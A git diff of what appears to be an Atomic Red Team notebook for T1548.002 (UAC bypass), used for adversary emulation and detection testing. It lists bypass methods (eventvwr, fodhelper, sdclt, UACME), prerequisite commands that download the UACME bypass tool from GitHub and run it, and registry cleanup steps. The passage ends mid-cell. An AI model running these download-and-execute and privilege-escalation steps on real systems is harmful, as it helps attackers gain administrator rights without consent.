@@ -237,13 +342,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1548.002.ipynb b/playbook/tactics/defense-evasion/T1548.002.ipynb index 28053b0e..f3caa7f8 100644 --- a/playbook/tactics/defense-evasion/T1548.002.ipynb +++ b/playbook/tactics/defense-evasion/T1548.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "d28bba09", + "id": "87687d73", "metadata": {}, "source": "# T1548.002 - Bypass User Account Control\nAdversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\n\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)" }, { "cell_type": "markdown", - "id": "5adb4694", + "id": "5331243d", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "ea640646", + "id": "05ca305d", "metadata": {}, "source": [ "### Atomic Test #1 - Bypass UAC using Event Viewer (cmd)", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "8c148c45", + "id": "9b246070", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "73c5af3f", + "id": "ff3452a8", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg.exe delete hkcu\\software\\classes\\mscfile /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "48af64af", + "id": "047a7343", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "0a0213cd", + "id": "db9f3463", "metadata": {}, "source": [ "### Atomic Test #2 - Bypass UAC using Event Viewer (PowerShell)", @@ -61,28 +61,28 @@ { "cell_type": "code", "execution_count": null, - "id": "42a77653", + "id": "89c8bc6d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "dbdf2a34", + "id": "88872a0c", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item \"HKCU:\\software\\classes\\mscfile\" -force -Recurse -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b18f6bdd", + "id": "9ccbd0cc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "55ed06e7", + "id": "087bd42f", "metadata": {}, "source": [ "### Atomic Test #3 - Bypass UAC using Fodhelper", @@ -95,28 +95,28 @@ { "cell_type": "code", "execution_count": null, - "id": "f11dcbc6", + "id": "9583b30e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "c983d8a3", + "id": "5e239520", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg.exe delete hkcu\\software\\classes\\ms-settings /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "15e0db2b", + "id": "d20c664c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "d825f8c6", + "id": "25acaef2", "metadata": {}, "source": [ "### Atomic Test #4 - Bypass UAC using Fodhelper - PowerShell", @@ -129,28 +129,28 @@ { "cell_type": "code", "execution_count": null, - "id": "e61741eb", + "id": "82ff83f0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "67b93b10", + "id": "1e8230c2", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item \"HKCU:\\software\\classes\\ms-settings\" -force -Recurse -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e5e20154", + "id": "1bada050", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "3526999c", + "id": "796f8c1e", "metadata": {}, "source": [ "### Atomic Test #5 - Bypass UAC using ComputerDefaults (PowerShell)", @@ -163,28 +163,28 @@ { "cell_type": "code", "execution_count": null, - "id": "5bcce6e7", + "id": "a7b33bd3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "89b82ced", + "id": "a29958a8", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item \"HKCU:\\software\\classes\\ms-settings\" -force -Recurse -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6186bef2", + "id": "1c3bd8db", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "94884328", + "id": "726b96d5", "metadata": {}, "source": [ "### Atomic Test #6 - Bypass UAC by Mocking Trusted Directories", @@ -198,28 +198,28 @@ { "cell_type": "code", "execution_count": null, - "id": "f3c8deb0", + "id": "82039da2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "1c1224b2", + "id": "54803765", "metadata": {}, "source": "#### Cleanup: \n```cmd\nrd \"\\\\?\\C:\\Windows \\\" /S /Q >nul 2>nul\ndel \"c:\\testbypass.exe\" >nul 2>nul\n```" }, { "cell_type": "code", "execution_count": null, - "id": "893ca349", + "id": "1a228fe8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 6 -Cleanup" }, { "cell_type": "markdown", - "id": "4dda1853", + "id": "1731b403", "metadata": {}, "source": [ "### Atomic Test #7 - Bypass UAC using sdclt DelegateExecute", @@ -232,28 +232,28 @@ { "cell_type": "code", "execution_count": null, - "id": "5a65ddf3", + "id": "936c6e49", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "1cf3fa03", + "id": "6cbca8fe", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item -Path \"HKCU:\\Software\\Classes\\Folder\" -Recurse -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4edd44d4", + "id": "ae501073", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 7 -Cleanup" }, { "cell_type": "markdown", - "id": "1da83b7e", + "id": "6a1477a7", "metadata": {}, "source": [ "### Atomic Test #8 - Disable UAC using reg.exe", @@ -267,28 +267,28 @@ { "cell_type": "code", "execution_count": null, - "id": "46991b93", + "id": "856c0919", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "bc62d33b", + "id": "d7220304", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 1 /f\n```" }, { "cell_type": "code", "execution_count": null, - "id": "bb57a821", + "id": "b32c23eb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 8 -Cleanup" }, { "cell_type": "markdown", - "id": "61054424", + "id": "9d6a814d", "metadata": {}, "source": [ "### Atomic Test #9 - Bypass UAC using SilentCleanup task", @@ -296,380 +296,380 @@ "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nPathToAtomicsFolder\\T1548.002\\src\\T1548.002.bat\n```" + "```command_prompt\n\"PathToAtomicsFolder\\T1548.002\\src\\T1548.002.bat\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "b18eb6f7", + "id": "4e9811af", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "a9a74d89", + "id": "a977afb9", "metadata": {}, - "source": "### Atomic Test #10 - UACME Bypass Method 23\nExecutes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Leo Davidson derivative\n\nType:\tDll Hijack\n\nMethod: IFileOperation\n\nTarget:\t\\system32\\pkgmgr.exe\n\nComponent: DismCore.dll\n\nImplementation:\tucmDismMethod\n\nUCM Method:\tUacMethodDISM\n\nhttps://github.com/hfiref0x/UACME\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: UACME executable must exist on disk at specified location (#{uacme_exe})\n\n##### Check Prereq Commands:\n```cmd\n$tempPath = cmd /c echo %temp%\\uacme\\23 Akagi64.exe\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n\n```" + "source": "### Atomic Test #10 - UACME Bypass Method 23\nExecutes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Leo Davidson derivative\n\nType:\tDll Hijack\n\nMethod: IFileOperation\n\nTarget:\t\\system32\\pkgmgr.exe\n\nComponent: DismCore.dll\n\nImplementation:\tucmDismMethod\n\nUCM Method:\tUacMethodDISM\n\nhttps://github.com/hfiref0x/UACME\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: UACME executable must exist on disk at specified location (\"#{uacme_exe}\")\n\n##### Check Prereq Commands:\n```cmd\n$tempPath = cmd /c echo PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\\23 Akagi64.exe\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\"\nExpand-Archive \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\" -Force\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\" -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a9437185", + "id": "ae91a2cd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 10 -GetPreReqs" }, { "cell_type": "markdown", - "id": "d4e998c0", + "id": "5fb38076", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\n\"%temp%\\uacme\\23 Akagi64.exe\"\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\\23 Akagi64.exe\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "9ecb61da", + "id": "b48090c6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 10" }, { "cell_type": "markdown", - "id": "925b0fba", + "id": "56947102", "metadata": {}, "source": "#### Cleanup: \n```cmd\npowershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "351d33b3", + "id": "e3319913", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 10 -Cleanup" }, { "cell_type": "markdown", - "id": "7545eb4b", + "id": "521daa52", "metadata": {}, - "source": "### Atomic Test #11 - UACME Bypass Method 31\nExecutes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Enigma0x3\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\sdclt.exe\n\nComponent: Attacker defined\n\nImplementation:\tucmSdcltIsolatedCommandMethod\n\nUCM Method:\tUacMethodShellSdclt\n\nhttps://github.com/hfiref0x/UACME\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: UACME executable must exist on disk at specified location (#{uacme_exe})\n\n##### Check Prereq Commands:\n```cmd\n$tempPath = cmd /c echo %temp%\\uacme\\31 Akagi64.exe\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n\n```" + "source": "### Atomic Test #11 - UACME Bypass Method 31\nExecutes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Enigma0x3\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\sdclt.exe\n\nComponent: Attacker defined\n\nImplementation:\tucmSdcltIsolatedCommandMethod\n\nUCM Method:\tUacMethodShellSdclt\n\nhttps://github.com/hfiref0x/UACME\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: UACME executable must exist on disk at specified location (\"#{uacme_exe}\")\n\n##### Check Prereq Commands:\n```cmd\n$tempPath = cmd /c echo PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\\31 Akagi64.exe\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\"\nExpand-Archive \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\" -Force\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\" -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "99a4181b", + "id": "80511768", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 11 -GetPreReqs" }, { "cell_type": "markdown", - "id": "8d68386b", + "id": "cb302f44", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\n\"%temp%\\uacme\\31 Akagi64.exe\"\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\\31 Akagi64.exe\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "6e7e81a7", + "id": "ff10bd66", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 11" }, { "cell_type": "markdown", - "id": "267a22f8", + "id": "55d139a5", "metadata": {}, "source": "#### Cleanup: \n```cmd\npowershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "73a2922d", + "id": "24885ee4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 11 -Cleanup" }, { "cell_type": "markdown", - "id": "77fcbab9", + "id": "6e6749e2", "metadata": {}, - "source": "### Atomic Test #12 - UACME Bypass Method 33\nExecutes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: winscripting.blog\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\fodhelper.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodMsSettings2\n\nhttps://github.com/hfiref0x/UACME\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: UACME executable must exist on disk at specified location (#{uacme_exe})\n\n##### Check Prereq Commands:\n```cmd\n$tempPath = cmd /c echo %temp%\\uacme\\33 Akagi64.exe\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n\n```" + "source": "### Atomic Test #12 - UACME Bypass Method 33\nExecutes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: winscripting.blog\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\fodhelper.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodMsSettings2\n\nhttps://github.com/hfiref0x/UACME\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: UACME executable must exist on disk at specified location (\"#{uacme_exe}\")\n\n##### Check Prereq Commands:\n```cmd\n$tempPath = cmd /c echo PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\\33 Akagi64.exe\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\"\nExpand-Archive \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\" -Force\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\" -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3bb07b56", + "id": "89138ad7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 12 -GetPreReqs" }, { "cell_type": "markdown", - "id": "f0d7eb9b", + "id": "97c68f6b", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\n\"%temp%\\uacme\\33 Akagi64.exe\"\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\\33 Akagi64.exe\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "1b19257f", + "id": "55e35aa1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 12" }, { "cell_type": "markdown", - "id": "f6d74d44", + "id": "b89dda57", "metadata": {}, "source": "#### Cleanup: \n```cmd\npowershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "72c5bf69", + "id": "465ec1f1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 12 -Cleanup" }, { "cell_type": "markdown", - "id": "398451a4", + "id": "18b24acb", "metadata": {}, - "source": "### Atomic Test #13 - UACME Bypass Method 34\nExecutes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: James Forshaw\n\nType:\tShell API\n\nMethod: Environment variables expansion\n\nTarget:\t\\system32\\svchost.exe via \\system32\\schtasks.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmDiskCleanupEnvironmentVariable\n\nUCM Method:\tUacMethodDiskSilentCleanup\n\nhttps://github.com/hfiref0x/UACME\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: UACME executable must exist on disk at specified location (#{uacme_exe})\n\n##### Check Prereq Commands:\n```cmd\n$tempPath = cmd /c echo %temp%\\uacme\\34 Akagi64.exe\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n\n```" + "source": "### Atomic Test #13 - UACME Bypass Method 34\nExecutes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: James Forshaw\n\nType:\tShell API\n\nMethod: Environment variables expansion\n\nTarget:\t\\system32\\svchost.exe via \\system32\\schtasks.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmDiskCleanupEnvironmentVariable\n\nUCM Method:\tUacMethodDiskSilentCleanup\n\nhttps://github.com/hfiref0x/UACME\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: UACME executable must exist on disk at specified location (\"#{uacme_exe}\")\n\n##### Check Prereq Commands:\n```cmd\n$tempPath = cmd /c echo PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\\34 Akagi64.exe\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\"\nExpand-Archive \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\" -Force\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\" -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "0058e765", + "id": "a55e559b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 13 -GetPreReqs" }, { "cell_type": "markdown", - "id": "bf5ebe45", + "id": "dd0b164e", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\n\"%temp%\\uacme\\34 Akagi64.exe\"\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\\34 Akagi64.exe\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "e05b6a43", + "id": "7d8e81de", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 13" }, { "cell_type": "markdown", - "id": "8dcf41eb", + "id": "d5937b9a", "metadata": {}, "source": "#### Cleanup: \n```cmd\npowershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "fe7d14ab", + "id": "5b337d58", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 13 -Cleanup" }, { "cell_type": "markdown", - "id": "64d27bdf", + "id": "c9b8c881", "metadata": {}, - "source": "### Atomic Test #14 - UACME Bypass Method 39\nExecutes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Stefan Kanthak\n\nType:\tDll Hijack\n\nMethod: .NET Code Profiler\n\nTarget:\t\\system32\\mmc.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmCorProfilerMethod\n\nUCM Method:\tUacMethodCorProfiler\n\nhttps://github.com/hfiref0x/UACME\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: UACME executable must exist on disk at specified location (#{uacme_exe})\n\n##### Check Prereq Commands:\n```cmd\n$tempPath = cmd /c echo %temp%\\uacme\\39 Akagi64.exe\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n\n```" + "source": "### Atomic Test #14 - UACME Bypass Method 39\nExecutes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Stefan Kanthak\n\nType:\tDll Hijack\n\nMethod: .NET Code Profiler\n\nTarget:\t\\system32\\mmc.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmCorProfilerMethod\n\nUCM Method:\tUacMethodCorProfiler\n\nhttps://github.com/hfiref0x/UACME\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: UACME executable must exist on disk at specified location (\"#{uacme_exe}\")\n\n##### Check Prereq Commands:\n```cmd\n$tempPath = cmd /c echo PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\\39 Akagi64.exe\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\"\nExpand-Archive \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\" -Force\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\" -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "0adeda0f", + "id": "e7590845", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 14 -GetPreReqs" }, { "cell_type": "markdown", - "id": "55e1df34", + "id": "692ce4dc", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\n\"%temp%\\uacme\\39 Akagi64.exe\"\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\\39 Akagi64.exe\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "480a3134", + "id": "f764e9c2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 14" }, { "cell_type": "markdown", - "id": "ba08c1c8", + "id": "57a95a5f", "metadata": {}, "source": "#### Cleanup: \n```cmd\npowershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f49e0f39", + "id": "bd7e8e52", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 14 -Cleanup" }, { "cell_type": "markdown", - "id": "acc2c0f6", + "id": "6a7b6894", "metadata": {}, - "source": "### Atomic Test #15 - UACME Bypass Method 56\nExecutes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Hashim Jawad\n\nType:\tShell 